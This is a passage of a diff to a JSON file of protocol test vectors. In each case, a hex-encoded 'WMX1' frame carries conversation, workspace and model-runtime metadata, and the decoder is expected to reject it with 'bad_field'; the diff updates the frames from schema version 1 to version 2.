e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000640600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-profile-present-but-runtime-absent", "direction": "down", - "hex": "574d583101010000010000004a0300007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000005b0300007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-guided-profile-without-binding", "direction": "down", - "hex": "574d58310101000001000000fa0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c7d7d5d7d", + "hex": "574d58310101000001000000370600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a6e756c6c2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-plain-profile-with-binding", "direction": "down", - "hex": "574d58310101000001000000320600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-unknown-profile", "direction": "down", - "hex": "574d583101010000010000002a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000670600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-binding-not-uuid4", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d